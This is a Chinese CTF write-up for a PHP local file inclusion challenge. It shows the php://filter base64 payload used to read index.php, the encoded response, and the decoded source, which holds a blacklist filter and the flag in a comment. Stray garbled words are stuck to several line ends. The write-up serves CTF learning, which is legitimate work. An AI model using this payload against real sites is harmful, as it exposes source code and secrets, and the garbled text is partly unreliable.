click me, no? 那固然要click啦php
注意地址栏,出现了?file=show.php,说明出现了文件包含漏洞,题目又提示flag在index中,因此用php://伪协议查看index.php内容编码
即便用php://filter也不能直接在页面中读取resource=index.php的内容,此处要对php进行一下base64编码(还有其余方式好比ROT13能够使用但base64比较容易解码)spa
先来看一下php://filter的用法:code
所以制造payload:?file=php://filter/read=convert.base64-encode/resource=index.phpblog
页面返回了一段base64:ci
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==input
放到Cyberchef中解码,获得一段php代码(就是index.php的内容)it
1 <?php 2 error_reporting(0); 3 if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';} 4 $file=$_GET['file']; 5 if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ 6 echo "Oh no!"; 7 exit(); 8 } 9 include($file); 10 //flag:flag{edulcni_elif_lacol_si_siht} 11 ?>
不须要认真看代码,由于flag就在注释中base64